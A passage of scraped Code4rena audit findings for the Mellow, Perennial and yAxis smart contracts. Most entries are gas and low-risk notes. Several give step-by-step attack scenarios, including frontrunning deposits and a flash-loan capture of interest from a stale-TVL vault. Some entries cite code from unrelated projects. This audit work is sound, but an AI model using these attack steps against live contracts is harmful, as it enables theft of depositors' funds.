IChainlinkFeed public feed; ``` https://github.com/code-423n4/2021-12-perennial/blob/fd7c38823833a51ae0c6ae3856a3d93a7309c0e4/protocol/contracts/oracle/ChainlinkOracle.sol#L29-L29 ```solidity=29 uint256 private _decimalOffset; ``` In `ChainlinkOracle.sol`, `feed` and `_decimalOffset` will never change, use immutable variables instead of storage variables can save gas. https://github.com/code-423n4/2021-12-perennial/blob/fd7c38823833a51ae0c6ae3856a3d93a7309c0e4/protocol/contracts/product/ProductProviderBase.sol#L13-L13 ```solidity=13 IOracle public oracle; ``` In `ProductProviderBase.sol`, `oracle` will never change, use immutable variables instead of storage variables can save gas. "}, {"title": "Wrong implementation of `performanceFee` can cause users to lose 50% to 100% of their funds", "html_url": "https://github.com/code-423n4/2021-12-mellow-findings/issues/91", "labels": ["bug", "3 (High Risk)", "sponsor confirmed"], "target": "2021-12-mellow-findings", "body": "# Handle WatchPug # Vulnerability details A certain amount of lp tokens (shares of the vault) will be minted to the `strategyPerformanceTreasury` as `performanceFee`, the amount is calculated based on the `minLpPriceFactor`. However, the current formula for `toMint` is wrong, which issues more than 100% of the current totalSupply of the lp token to the `strategyPerformanceTreasury` each time. Causing users to lose 50% to 100% of their funds after a few times. https://github.com/code-423n4/2021-12-mellow/blob/6679e2dd118b33481ee81ad013ece4ea723327b5/mellow-vaults/contracts/LpIssuer.sol#L269-L271 ```solidity=269 address treasury = strategyParams.strategyPerformanceTreasury; uint256 toMint = (baseSupply * minLpPriceFactor) / CommonLibrary.DENOMINATOR; _mint(treasury, toMint); ``` ### PoC Given: - `strategyParams.performanceFee`: `10e7` (1%) 1. Alice deposited `1,000 USDC`, received `1000` lpToken; the totalSupply of the lpToken is now: `1000`; 2. 3 days later, `baseTvl` increased to `1,001 USDC`, Bob deposited `1 USDC` and trigegred `_chargeFees()`: - Expected Result: `strategyPerformanceTreasury` to receive about `0.01` lpToken (1% of 1 USDC); - Actual Result: `minLpPriceFactor` is about `1.001`, and `strategyPerformanceTreasury` will received `1001` lpToken as performanceFee; Alice lose 50% of deposited funds. ### Recommendation Change to: ```solidity address treasury = strategyParams.strategyPerformanceTreasury; uint256 toMint = (baseSupply * (minLpPriceFactor - CommonLibrary.DENOMINATOR) * performanceFee / CommonLibrary.DENOMINATOR) / CommonLibrary.DENOMINATOR; _mint(treasury, toMint); ``` "}, {"title": "`LpIssuer.sol#_chargeFees()` Check `if (performanceFee > 0)` can be done earlier to save gas", "html_url": "https://github.com/code-423n4/2021-12-mellow-findings/issues/90", "labels": ["bug", "G (Gas Optimization)", "resolved", "sponsor confirmed"], "target": "2021-12-mellow-findings", "body": "# Handle WatchPug # Vulnerability details https://github.com/code-423n4/2021-12-mellow/blob/6679e2dd118b33481ee81ad013ece4ea723327b5/mellow-vaults/contracts/LpIssuer.sol#L249-L252 ```solidity=249 uint256 performanceFee = strategyParams.performanceFee; uint256[] memory hwms = _lpPriceHighWaterMarks; if (performanceFee > 0) { uint256 minLpPriceFactor = type(uint256).max; ... ``` Check `if (performanceFee > 0)` at L251 can be done earlier to avoid unnecessary code execution (read `_lpPriceHighWaterMarks` and copy to memory) at L250 and save some gas when performanceFee == 0. "}, {"title": "Cache external call results can save gas", "html_url": "https://github.com/code-423n4/2021-12-mellow-findings/issues/89", "labels": ["bug", "G (Gas Optimization)", "sponsor confirmed"], "target": "2021-12-mellow-findings", "body": "Cache external call results can save gas"}, {"title": "Unsafe token transfer", "html_url": "https://github.com/code-423n4/2021-12-mellow-findings/issues/88", "labels": ["bug", "1 (Low Risk)", "resolved", "sponsor confirmed"], "target": "2021-12-mellow-findings", "body": "# Handle WatchPug # Vulnerability details Calling `ERC20.transfer()` without handling the returned value is unsafe. https://github.com/code-423n4/2021-12-mellow/blob/6679e2dd118b33481ee81ad013ece4ea723327b5/mellow-vaults/contracts/ERC20Vault.sol#L81-L90 ```solidity=81 function _pull( address to, uint256[] memory tokenAmounts, bytes memory ) internal override returns (uint256[] memory actualTokenAmounts) { for (uint256 i = 0; i < tokenAmounts.length; i++) { IERC20(_vaultTokens[i]).transfer(to, tokenAmounts[i]); } actualTokenAmounts = tokenAmounts; } ``` ### Recommendation Consider using OpenZeppelin's `SafeERC20` library with safe versions of transfer functions. "}, {"title": "Setting `uint256` variables to `0` is redundant", "html_url": "https://github.com/code-423n4/2021-12-mellow-findings/issues/86", "labels": ["bug", "G (Gas Optimization)", "sponsor acknowledged"], "target": "2021-12-mellow-findings", "body": "# Handle WatchPug # Vulnerability details https://github.com/livepeer/arbitrum-lpt-bridge/blob/ebf68d11879c2798c5ec0735411b08d0bea4f287/contracts/L1/gateway/L1Migrator.sol#L471-L471 ```solidity uint256 total = 0; ``` https://github.com/livepeer/arbitrum-lpt-bridge/blob/ebf68d11879c2798c5ec0735411b08d0bea4f287/contracts/L1/gateway/L1Migrator.sol#L472-L472 ```solidity for (uint256 i = 0; i < _unbondingLockIds.length; i++) ``` Setting `uint256` variables to `0` is redundant as they default to `0`. "}, {"title": "`YearnVault` did not cache tvl as comment described", "html_url": "https://github.com/code-423n4/2021-12-mellow-findings/issues/84", "labels": ["bug", "1 (Low Risk)", "sponsor confirmed"], "target": "2021-12-mellow-findings", "body": "# Handle gzeon # Vulnerability details ## Impact The comment in https://github.com/code-423n4/2021-12-mellow/blob/6679e2dd118b33481ee81ad013ece4ea723327b5/mellow-vaults/contracts/YearnVault.sol#L14 > The TVL of the vault is cached and updated after each deposit withdraw. But it actually does not cache tvl. This behavior is desired or otherwise would have same issue as `AaveVault`. ## Recommended Mitigation Steps Remove the cache description in comment. "}, {"title": "Withdraw from `AaveVault` will receive less than actual share", "html_url": "https://github.com/code-423n4/2021-12-mellow-findings/issues/82", "labels": ["bug", "2 (Med Risk)", "resolved", "sponsor confirmed"], "target": "2021-12-mellow-findings", "body": "# Handle gzeon # Vulnerability details ## Impact `AaveVault` cache `tvl` and update it at the end of each `_push` and `_pull`. When withdrawing from `LpIssuer`, `tokenAmounts` is calculated using the cached `tvl` to be pulled from `AaveVault`. This will lead to user missing out their share of the accrued interest / donations to Aave since the last `updateTvls`. ## Proof of Concept https://github.com/code-423n4/2021-12-mellow/blob/6679e2dd118b33481ee81ad013ece4ea723327b5/mellow-vaults/contracts/LpIssuer.sol#L150 https://github.com/code-423n4/2021-12-mellow/blob/6679e2dd118b33481ee81ad013ece4ea723327b5/mellow-vaults/contracts/AaveVault.sol#L13 ## Recommended Mitigation Steps Call `updateTvls` at the beginning of `withdraw` function if the `_subvault` will cache tvl "}, {"title": "Use of _msgSender()", "html_url": "https://github.com/code-423n4/2021-12-mellow-findings/issues/81", "labels": ["bug", "G (Gas Optimization)", "resolved", "sponsor confirmed"], "target": "2021-12-mellow-findings", "body": "# Handle defsec # Vulnerability details ## Impact The use of _msgSender() when there is no implementation of a meta transaction mechanism that uses it, such as EIP-2771, very slightly increases gas consumption. ## Proof of Concept _msgSender() is utilized three times where msg.sender could have been used in the following function. \"\"\" https://github.com/code-423n4/2021-12-sublime/blob/e688bd6cd3df7fefa3be092529b4e2d013219625/contracts/yield/YearnYield.sol#L42 https://github.com/code-423n4/2021-12-sublime/blob/e688bd6cd3df7fefa3be092529b4e2d013219625/contracts/yield/CompoundYield.sol#L43 https://github.com/code-423n4/2021-12-sublime/blob/e688bd6cd3df7fefa3be092529b4e2d013219625/contracts/yield/AaveYield.sol#L71 https://github.com/code-423n4/2021-12-sublime/blob/e688bd6cd3df7fefa3be092529b4e2d013219625/contracts/yield/NoYield.sol#L31 \"\"\" ## Tools Used None ## Recommended Mitigation Steps Replace _msgSender() with msg.sender if there is no mechanism to support meta-transactions like EIP-2771 implemented. "}, {"title": "Use `calldata` instead of `memory` for function parameters", "html_url": "https://github.com/code-423n4/2021-12-mellow-findings/issues/78", "labels": ["bug", "G (Gas Optimization)", "sponsor acknowledged"], "target": "2021-12-mellow-findings", "body": "Use `calldata` instead of `memory` for function parameters"}, {"title": "Initialization with empty `_symbol`", "html_url": "https://github.com/code-423n4/2021-12-mellow-findings/issues/76", "labels": ["bug", "0 (Non-critical)", "sponsor disputed"], "target": "2021-12-mellow-findings", "body": "Initialization with empty `_symbol`"}, {"title": "Loops can be implemented more efficiently", "html_url": "https://github.com/code-423n4/2021-12-mellow-findings/issues/73", "labels": ["bug", "G (Gas Optimization)", "sponsor acknowledged"], "target": "2021-12-mellow-findings", "body": "# Handle 0x0x0x # Vulnerability details ## Proof of Concept Example: ``` for (uint i = 0; i < arr.length; i++) { //Operations not effecting the length of the array. } ``` Loading length of array costs gas. Therefore, the length should be cached, if the length of the array doesn't change inside the loop. Furthermore, there is no need to assign the initial value 0. This costs extra gas. Recommended implementation: ``` uint length = arr.length; for (uint i; i < length; ++i) { //Operations not effecting the length of the array. } ``` By doing so the length is only loaded once rather than loading it as many times as iterations (Therefore, less gas is spent). ## Occurences ``` ./CreditLine/CreditLine.sol:484: for (uint256 _index = 0; _index < _strategyList.length; _index++) { ./CreditLine/CreditLine.sol:662: for (uint256 _index = 0; _index < _strategyList.length; _index++) { ./CreditLine/CreditLine.sol:738: for (uint256 _index = 0; _index < _strategyList.length; _index++) { ./CreditLine/CreditLine.sol:892: for (uint256 index = 0; index < _strategyList.length; index++) { ./CreditLine/CreditLine.sol:959: for (uint256 index = 0; index < _strategyList.length; index++) { ./SavingsAccount/SavingsAccount.sol:289: for (uint256 i = 0; i < _strategyList.length; i++) { ./SavingsAccount/SavingsAccount.sol:467: for (uint256 i = 0; i < _strategyList.length; i++) { ``` "}, {"title": "There is no need to assign default values to variables", "html_url": "https://github.com/code-423n4/2021-12-mellow-findings/issues/71", "labels": ["bug", "G (Gas Optimization)", "sponsor acknowledged"], "target": "2021-12-mellow-findings", "body": "There is no need to assign default values to variables"}, {"title": "Don't cache variables used only once", "html_url": "https://github.com/code-423n4/2021-12-mellow-findings/issues/66", "labels": ["bug", "G (Gas Optimization)", "sponsor acknowledged"], "target": "2021-12-mellow-findings", "body": "Don't cache variables used only once"}, {"title": "`maxTokensPerVault` is not used", "html_url": "https://github.com/code-423n4/2021-12-mellow-findings/issues/65", "labels": ["bug", "1 (Low Risk)", "sponsor confirmed"], "target": "2021-12-mellow-findings", "body": "# Handle 0x0x0x # Vulnerability details In `protocolGovernance.sol`, there is parameter `maxTokensPerVault`. This parameter is never utilized, therefore does not provide the functionality stated in comments. "}, {"title": "Optimize `baseSupply` calculation in `_chargeFee`", "html_url": "https://github.com/code-423n4/2021-12-mellow-findings/issues/64", "labels": ["bug", "G (Gas Optimization)", "sponsor acknowledged"], "target": "2021-12-mellow-findings", "body": "Optimize `baseSupply` calculation in `_chargeFee`"}, {"title": "`+= 1` costs extra gas", "html_url": "https://github.com/code-423n4/2021-12-mellow-findings/issues/63", "labels": ["bug", "G (Gas Optimization)", "sponsor acknowledged"], "target": "2021-12-mellow-findings", "body": "`+= 1` costs extra gas"}, {"title": "Gas Optimization: Use != 0 instead of > 0", "html_url": "https://github.com/code-423n4/2021-12-mellow-findings/issues/60", "labels": ["bug", "G (Gas Optimization)", "sponsor acknowledged"], "target": "2021-12-mellow-findings", "body": "Gas Optimization: Use != 0 instead of > 0"}, {"title": "Gas Optimization: Pack `Params` struct in `IProtocolGovernance`", "html_url": "https://github.com/code-423n4/2021-12-mellow-findings/issues/59", "labels": ["bug", "G (Gas Optimization)", "resolved", "sponsor confirmed"], "target": "2021-12-mellow-findings", "body": "# Handle gzeon # Vulnerability details ## Impact Reduce 1 storage slot by reordering from https://github.com/code-423n4/2021-12-mellow/blob/6679e2dd118b33481ee81ad013ece4ea723327b5/mellow-vaults/contracts/interfaces/IProtocolGovernance.sol#L13 ``` struct Params { bool permissionless; uint256 maxTokensPerVault; uint256 governanceDelay; address protocolTreasury; } ``` to ``` struct Params { bool permissionless; address protocolTreasury; uint256 maxTokensPerVault; uint256 governanceDelay; } ``` "}, {"title": "A more efficient for loop index proceeding", "html_url": "https://github.com/code-423n4/2021-12-mellow-findings/issues/54", "labels": ["bug", "G (Gas Optimization)", "sponsor acknowledged"], "target": "2021-12-mellow-findings", "body": "A more efficient for loop index proceeding"}, {"title": "Gas: Unnecessary zero writes", "html_url": "https://github.com/code-423n4/2021-12-mellow-findings/issues/53", "labels": ["bug", "G (Gas Optimization)", "sponsor disputed"], "target": "2021-12-mellow-findings", "body": "Gas: Unnecessary zero writes"}, {"title": "Gas: Cache `_pendingTokenWhitelistAdd[i]`", "html_url": "https://github.com/code-423n4/2021-12-mellow-findings/issues/52", "labels": ["bug", "G (Gas Optimization)"], "target": "2021-12-mellow-findings", "body": "Gas: Cache `_pendingTokenWhitelistAdd[i]`"}, {"title": "Gas: `GatewayVault._pull` can skip redirected", "html_url": "https://github.com/code-423n4/2021-12-mellow-findings/issues/51", "labels": ["bug", "G (Gas Optimization)"], "target": "2021-12-mellow-findings", "body": "Gas: `GatewayVault._pull` can skip redirected"}, {"title": "UniswapV3's path issue for `swapExactOutput`", "html_url": "https://github.com/code-423n4/2021-12-mellow-findings/issues/50", "labels": ["bug", "2 (Med Risk)"], "target": "2021-12-mellow-findings", "body": "UniswapV3's path issue for `swapExactOutput`"}, {"title": "Admin can break `_numberOfValidTokens`", "html_url": "https://github.com/code-423n4/2021-12-mellow-findings/issues/49", "labels": ["bug", "2 (Med Risk)"], "target": "2021-12-mellow-findings", "body": "Admin can break `_numberOfValidTokens`"}, {"title": "Wrong logic in `tokenWhitelist()`?", "html_url": "https://github.com/code-423n4/2021-12-mellow-findings/issues/48", "labels": ["bug", "1 (Low Risk)"], "target": "2021-12-mellow-findings", "body": "Wrong logic in `tokenWhitelist()`?"}, {"title": "Users can avoid paying vault fees", "html_url": "https://github.com/code-423n4/2021-12-mellow-findings/issues/47", "labels": ["bug", "2 (Med Risk)", "sponsor disputed"], "target": "2021-12-mellow-findings", "body": "Users can avoid paying vault fees"}, {"title": "User deposits don't have min. return checks", "html_url": "https://github.com/code-423n4/2021-12-mellow-findings/issues/46", "labels": ["bug", "2 (Med Risk)", "sponsor confirmed"], "target": "2021-12-mellow-findings", "body": "# Handle cmichel # Vulnerability details The `LPIssuer.deposit` first computes _balanced amounts_ on the user's defined `tokenAmounts`. The idea is that LP tokens give the same percentage share of each vault tokens' tvl, therefore the provided amounts should be _balanced_, meaning, the `depositAmount / tvl` ratio should be equal for all vault tokens. But the strategist can frontrun the user's deposit and rebalance the vault tokens, changing the tvl for each vault token which changes the rebalance. This frontrun can happen accidentally whenever the strategist rebalances ## POC There's a vault with two tokens A and B, tvls are `[500, 1500]` - The user provides `[500, 1500]`, expecting to get 50% of the share supply (is minted 100% of old total supply). - The strategist rebalances to `[1000, 1000]` - The user's balanceFactor is `min(500/1000, 1500/1000) = 1/2`, their balancedAmounts are thus `tvl * balanceFactor = [500, 500]`, the `1000` excess token B are refunded. In the end, they only received `500/(1000+500) = 33.3%` of the total supply but used up all of their token A which they might have wanted to hold on to if they had known they'd only get 33.3% of the supply. ## Impact Users can get rekt when depositing as the received LP amount is unpredictable and lead to a trade using a very different balanced token mix that they never intended. ## Recommended Mitigation Steps Add minimum return amount checks. Accept a function parameter that can be chosen by the user indicating their _expected LP amount_ for their deposit `tokenAmounts`, then check that the actually minted LP token amount is above this parameter. "}, {"title": "`GatewayVault` events not used", "html_url": "https://github.com/code-423n4/2021-12-mellow-findings/issues/45", "labels": ["bug", "0 (Non-critical)", "disagree with severity", "sponsor confirmed"], "target": "2021-12-mellow-findings", "body": "# Handle cmichel # Vulnerability details The `CollectProtocolFees` and `CollectStrategyFees` events in `GatewayVault` are not used. ## Impact Unused code can hint at programming or architectural errors. ## Recommended Mitigation Steps Use it or remove it. "}, {"title": "Bad redirects can make it impossible to deposit & withdraw", "html_url": "https://github.com/code-423n4/2021-12-mellow-findings/issues/44", "labels": ["bug", "2 (Med Risk)", "sponsor confirmed"], "target": "2021-12-mellow-findings", "body": "# Handle cmichel # Vulnerability details The `GatewayVault._push()` function gets `redirects` from the `strategyParams`. If `redirects[i] = j`, vault index `i`'s deposits are redirected to vault index `j`. Note that the deposits for vault index `i` are cleared, as they are redirected: ```solidity for (uint256 j = 0; j < _vaultTokens.length; j++) { uint256 vaultIndex = _subvaultNftsIndex[strategyParams.redirects[i]]; amountsByVault[vaultIndex][j] += amountsByVault[i][j]; amountsByVault[i][j] = 0; } ``` > The same is true for withdrawals in the `_pull` function. Users might not be able to withdraw this way. If the `redirects` array is misconfigured, it's possible that all `amountsByVault` are set to zero. For example, if `0` redirects to `1` and `1` redirects to `0`. Or `0` redirects to itself, etc. There are many misconfigurations that can lead to not being able to deposit to the pool anymore. ## Recommended Mitigation Steps The `redirects[i] = j` matrix needs to be restricted. If `i` is redirected to `j`, `j` may not redirect itself. Check for this when setting the `redirects` array. "}, {"title": "AaveVault does not update TVL on deposit/withdraw", "html_url": "https://github.com/code-423n4/2021-12-mellow-findings/issues/41", "labels": ["bug", "3 (High Risk)", "resolved", "sponsor confirmed"], "target": "2021-12-mellow-findings", "body": "# Handle cmichel # Vulnerability details Aave uses **rebasing** tokens which means the token balance `aToken.balanceOf(this)` increases over time with the accrued interest. The `AaveVault.tvl` uses a cached value that needs to be updated using a `updateTvls` call. This call is not done when depositing tokens which allows an attacker to deposit tokens, get a fair share _of the old tvl_, update the tvl to include the interest, and then withdraw the LP tokens receiving a larger share of the _new tvl_, receiving back their initial deposit + the share of the interest. This can be done risk-free in a single transaction. ## POC - Imagine an Aave Vault with a single vault token, and current TVL = `1,000 aTokens` - Attacker calls `LPIssuer.push([1000])`. This loads the old, cached `tvl`. No `updateTvl` is called. - The `1000` underlying tokens are already balanced as there's only one aToken, then the entire amount is pushed: `aaveVault.transferAndPush([1000])`. This deposists `1000` underlying tokens to the Aave lending pool and returns `actualTokenAmounts = [1000]`. **After that** the internal `_tvls` variable is updated with the latest aTokens. This includes the 1000 aTokens just deposited **but also the new rebased aToken amounts**, the interest the vault received from supplying the tokens since last `updateTvls` call. `_tvls = _tvls + interest + 1000` - The LP amount to mint `amountToMint` is still calculated on the old cached `tvl` memory variable, i.e., attacker receives `amount / oldTvl = 1000/1000 = 100%` of existing LP supply - Attacker withdraws the LP tokens for 50% of the new TVL (it has been updated in `deposit`'s `transferAndPush` call). Attacker receives `50% * _newTvl = 50% * (2,000 + interest) = 1000 + 0.5 * interest`. - Attacker makes a profit of `0.5 * interest` ## Impact The interest since the last TVL storage update can be stolen as Aave uses rebasing tokens but the tvl is not first recomputed when depositing. If the vaults experience low activity a significant amount of interest can accrue which can all be captured by taking a flashloan and depositing and withdrawing a large amount to capture a large share of this interest ## Recommended Mitigation Steps Update the tvl when depositing and withdrawing before doing anything else. "}, {"title": "withdraw() Validate lpTokenAmount At Beginning of Function Can Save Gas", "html_url": "https://github.com/code-423n4/2021-12-mellow-findings/issues/38", "labels": ["bug", "0 (Non-critical)", "sponsor disputed"], "target": "2021-12-mellow-findings", "body": "withdraw() Validate lpTokenAmount At Beginning of Function Can Save Gas"}, {"title": "Remove ADMIN_DELEGATE_ROLE to Save Gas", "html_url": "https://github.com/code-423n4/2021-12-mellow-findings/issues/34", "labels": ["bug", "G (Gas Optimization)", "sponsor acknowledged"], "target": "2021-12-mellow-findings", "body": "Remove ADMIN_DELEGATE_ROLE to Save Gas"}, {"title": "ExceptionsLibrary.sol Shorten Revert Strings to Save Gas", "html_url": "https://github.com/code-423n4/2021-12-mellow-findings/issues/32", "labels": ["bug", "G (Gas Optimization)", "sponsor disputed"], "target": "2021-12-mellow-findings", "body": "ExceptionsLibrary.sol Shorten Revert Strings to Save Gas"}, {"title": "Potential DOS with Division By Zero on `LpIssuer`", "html_url": "https://github.com/code-423n4/2021-12-mellow-findings/issues/27", "labels": ["bug", "1 (Low Risk)", "disagree with severity"], "target": "2021-12-mellow-findings", "body": "Potential DOS with Division By Zero on `LpIssuer`"}, {"title": "Don't check contains before remove II", "html_url": "https://github.com/code-423n4/2021-12-mellow-findings/issues/26", "labels": ["bug", "G (Gas Optimization)", "sponsor confirmed"], "target": "2021-12-mellow-findings", "body": "# Handle 0x1f8b # Vulnerability details # Vulnerability details ## Impact Gas optimization. ## Proof of Concept The method remove of the library AddressSet doesn't fail if the entry was not found (https://github.com/OpenZeppelin/openzeppelin-contracts/blob/a05312f1b72acca6904ffe32ef83ccdbad20cb4f/contracts/utils/structs/EnumerableSet.sol#L72), this method return true or false if was removed, so it's not needed to check if _vaultGovernances.contains(addr) in the method removeFromVaultGovernances from ProtocolGovernance contract. ## Tools Used Manual review ## Recommended Mitigation Steps Remove the contains conditional "}, {"title": "Wrong logic in UniV3Trader", "html_url": "https://github.com/code-423n4/2021-12-mellow-findings/issues/22", "labels": ["bug", "1 (Low Risk)", "disagree with severity"], "target": "2021-12-mellow-findings", "body": "Wrong logic in UniV3Trader"}, {"title": "Store Interface instead of address", "html_url": "https://github.com/code-423n4/2021-12-mellow-findings/issues/21", "labels": ["bug", "G (Gas Optimization)", "resolved", "sponsor confirmed"], "target": "2021-12-mellow-findings", "body": "# Handle 0x1f8b # Vulnerability details ## Impact Gas saving. ## Proof of Concept Inside the contract `ChiefTrader` It's better to store the variable `protocolGovernance` as `IProtocolGovernance` because otherwise you need to cast it everytime. ## Tools Used Manual review ## Recommended Mitigation Steps Use `IProtocolGovernance` instead of address for store `protocolGovernance` "}, {"title": "Learn from the past", "html_url": "https://github.com/code-423n4/2021-12-mellow-findings/issues/20", "labels": ["bug", "1 (Low Risk)", "sponsor confirmed"], "target": "2021-12-mellow-findings", "body": "# Handle 0x1f8b # Vulnerability details ## Impact Mandatory check that could produce undesired results. ## Proof of Concept The smart contract ChiefTrader was in charge of the swaps, and the method _requireAllowedTokens is in charge to know that all paths are valid, it's mandatory to check that token0 and token1 are not equal, you can see a previous hack in the following link, where the hacker use the same from and to for change the price of the token https://twitter.com/mudit__gupta/status/1465726874974187524?s=12 . ## Tools Used Manual review ## Recommended Mitigation Steps Add require for check that token0 and token1 are different. "}, {"title": "Missing zero-address checks on contract construction", "html_url": "https://github.com/code-423n4/2021-12-mellow-findings/issues/19", "labels": ["bug", "0 (Non-critical)", "disagree with severity"], "target": "2021-12-mellow-findings", "body": "Missing zero-address checks on contract construction"}, {"title": "Solidity compiler versions mismatch", "html_url": "https://github.com/code-423n4/2021-12-mellow-findings/issues/17", "labels": ["bug", "0 (Non-critical)"], "target": "2021-12-mellow-findings", "body": "# Handle robee # Vulnerability details The project is compiled with different versions of solidity, which is not recommended due ti undefined behaviors as a result of it. "}, {"title": "Open TODOs", "html_url": "https://github.com/code-423n4/2021-12-mellow-findings/issues/16", "labels": ["bug", "0 (Non-critical)", "sponsor acknowledged"], "target": "2021-12-mellow-findings", "body": "Open TODOs"}, {"title": "safeApprove of openZeppelin is deprecated", "html_url": "https://github.com/code-423n4/2021-12-mellow-findings/issues/15", "labels": ["bug", "0 (Non-critical)", "sponsor acknowledged"], "target": "2021-12-mellow-findings", "body": "# Handle robee # Vulnerability details You use safeApprove of openZeppelin although it's deprecated. (see https://github.com/OpenZeppelin/openzeppelin-contracts/blob/566a774222707e424896c0c390a84dc3c13bdcb2/contracts/token/ERC20/utils/SafeERC20.sol#L38) You should change it to increase/decrease Allowance as OpenZeppilin says. This appears in the following locations in the code base: Deprecated safeApprove in AaveV2Strategy.sol line 70: want.safeApprove(address(lp), type(uint256).max); Deprecated safeApprove in SherlockClaimManager.sol line 421: TOKEN.safeApprove(address(UMA), _amount); Deprecated safeApprove in SherlockClaimManager.sol line 464: TOKEN.safeApprove(address(UMA), 0); Deprecated safeApprove in SherBuy.sol line 99: usdc.approve(address(sherlockPosition), type(uint256).max); Deprecated safeApprove in SherBuy.sol line 169: sher.approve(address(sherClaim), sherAmount); "}, {"title": "Require with empty message", "html_url": "https://github.com/code-423n4/2021-12-mellow-findings/issues/11", "labels": ["bug", "0 (Non-critical)", "disagree with severity"], "target": "2021-12-mellow-findings", "body": "# Handle robee # Vulnerability details The following requires are with empty messages. This is very important to add a message for any require. Such that the user has enough information to know the reason of failure: Solidity file: CDSTemplate.sol, In line 253 with Empty Require message. Solidity file: Factory.sol, In line 100 with Empty Require message. Solidity file: IndexTemplate.sol, In line 477 with Empty Require message. Solidity file: PoolTemplate.sol, In line 929 with Empty Require message. Solidity file: Vault.sol, In line 66 with Empty Require message. Solidity file: Vault.sol, In line 67 with Empty Require message. Solidity file: Vault.sol, In line 68 with Empty Require message. "}, {"title": "Unnecessary array boundaries check when loading an array element twice", "html_url": "https://github.com/code-423n4/2021-12-mellow-findings/issues/10", "labels": ["bug", "G (Gas Optimization)"], "target": "2021-12-mellow-findings", "body": "Unnecessary array boundaries check when loading an array element twice"}, {"title": "Public functions to external", "html_url": "https://github.com/code-423n4/2021-12-mellow-findings/issues/8", "labels": ["bug", "G (Gas Optimization)"], "target": "2021-12-mellow-findings", "body": "# Handle robee # Vulnerability details The following functions could be set external to save gas and improve code quality. External call cost is less expensive than of public functions. The function withdrawableOf in XDEFIDistribution.sol could be set external The function tokenURI in XDEFIDistribution.sol could be set external The function getAllTokensForAccount in XDEFIDistributionHelper.sol could be set external The function getAllLockedPositionsForAccount in XDEFIDistributionHelper.sol could be set external "}, {"title": "Internal functions to private", "html_url": "https://github.com/code-423n4/2021-12-mellow-findings/issues/7", "labels": ["bug", "G (Gas Optimization)"], "target": "2021-12-mellow-findings", "body": "# Handle robee # Vulnerability details The following functions could be set private to save gas and improve code quality: The function takeFrom in PegExchanger.sol could be set internal The function giveTo in PegExchanger.sol could be set internal The function verifyProof in TRIBERagequit.sol could be set internal The function takeFrom in TRIBERagequit.sol could be set internal The function processProof in TRIBERagequit.sol could be set internal The function giveTo in TRIBERagequit.sol could be set internal The function _startCountdown in TRIBERagequit.sol could be set internal "}, {"title": "Storage double reading. Could save SLOAD", "html_url": "https://github.com/code-423n4/2021-12-mellow-findings/issues/6", "labels": ["bug", "G (Gas Optimization)", "sponsor acknowledged"], "target": "2021-12-mellow-findings", "body": "Storage double reading. Could save SLOAD"}, {"title": "Unused imports", "html_url": "https://github.com/code-423n4/2021-12-mellow-findings/issues/1", "labels": ["bug", "G (Gas Optimization)", "resolved", "sponsor confirmed"], "target": "2021-12-mellow-findings", "body": "Unused imports"}, {"title": "several functions can be marked external", "html_url": "https://github.com/code-423n4/2021-11-yaxis-findings/issues/119", "labels": ["bug", "G (Gas Optimization)", "sponsor acknowledged", "fix later"], "target": "2021-11-yaxis-findings", "body": "several functions can be marked external"}, {"title": "Incorrect comment or code in runPhasedDistribution (Transmuter.sol)", "html_url": "https://github.com/code-423n4/2021-11-yaxis-findings/issues/117", "labels": ["bug", "1 (Low Risk)", "sponsor disputed", "wont fix"], "target": "2021-11-yaxis-findings", "body": "Incorrect comment or code in runPhasedDistribution (Transmuter.sol)"}, {"title": "TRANSMUTATION_PERIOD Issues", "html_url": "https://github.com/code-423n4/2021-11-yaxis-findings/issues/116", "labels": ["bug", "G (Gas Optimization)", "resolved", "sponsor confirmed"], "target": "2021-11-yaxis-findings", "body": "# Handle ye0lde # Vulnerability details ## Impact Using existing local variables instead of reading state variables will save gas by converting SLOADs to MLOADs. ## Proof of Concept newTransmutationPeriod can be used here instead of TRANSMUTATION_PERIOD : https://github.com/code-423n4/2021-11-yaxis/blob/146febcb61ae7fe20b0920849c4f4bbe111c6ba7/contracts/v3/alchemix/Transmuter.sol#L194 TRANSMUTATION_PERIOD is named like a constant when it is actually an updatable state variable. ## Tools Used Visual Studio Code, Remix ## Recommended Mitigation Steps Use the local variable instead of the state variable. Rename TRANSMUTATION_PERIOD appropriately. "}, {"title": "Unused Named Returns", "html_url": "https://github.com/code-423n4/2021-11-yaxis-findings/issues/115", "labels": ["bug", "G (Gas Optimization)", "sponsor disputed", "wont fix"], "target": "2021-11-yaxis-findings", "body": "Unused Named Returns"}, {"title": "Assigned operations to constant variables", "html_url": "https://github.com/code-423n4/2021-11-yaxis-findings/issues/111", "labels": ["bug", "G (Gas Optimization)", "sponsor disputed", "wont fix"], "target": "2021-11-yaxis-findings", "body": "Assigned operations to constant variables"}, {"title": "Constant expressions", "html_url": "https://github.com/code-423n4/2021-11-yaxis-findings/issues/110", "labels": ["bug", "G (Gas Optimization)", "sponsor disputed", "wont fix"], "target": "2021-11-yaxis-findings", "body": "Constant expressions"}, {"title": "setSentinel actually adds sentinel", "html_url": "https://github.com/code-423n4/2021-11-yaxis-findings/issues/108", "labels": ["bug", "1 (Low Risk)", "resolved", "sponsor disputed"], "target": "2021-11-yaxis-findings", "body": "setSentinel actually adds sentinel"}, {"title": "_setupRole not in constructor", "html_url": "https://github.com/code-423n4/2021-11-yaxis-findings/issues/107", "labels": ["bug", "invalid", "1 (Low Risk)", "sponsor disputed"], "target": "2021-11-yaxis-findings", "body": "_setupRole not in constructor"}, {"title": "Context and msg.sender", "html_url": "https://github.com/code-423n4/2021-11-yaxis-findings/issues/105", "labels": ["bug", "0 (Non-critical)", "resolved", "sponsor confirmed"], "target": "2021-11-yaxis-findings", "body": "Context and msg.sender"}, {"title": "anyone can deposit to adapters directly", "html_url": "https://github.com/code-423n4/2021-11-yaxis-findings/issues/103", "labels": ["bug", "1 (Low Risk)", "sponsor acknowledged", "wont fix"], "target": "2021-11-yaxis-findings", "body": "anyone can deposit to adapters directly"}, {"title": "Optimize `Alchemist.sol#_withdrawFundsTo`", "html_url": "https://github.com/code-423n4/2021-11-yaxis-findings/issues/102", "labels": ["bug", "G (Gas Optimization)", "resolved", "sponsor confirmed"], "target": "2021-11-yaxis-findings", "body": "# Handle 0x0x0x # Vulnerability details ## Proof of Concept `L839-L843` is as follow: ``` AlchemistVault.Data storage _activeVault = _vaults.last(); (uint256 _withdrawAmount, uint256 _decreasedValue) = _activeVault.withdraw( _recipient, _remainingAmount ); ``` It can be replaced by following code block, since there is no reason to save it to memory. ``` (uint256 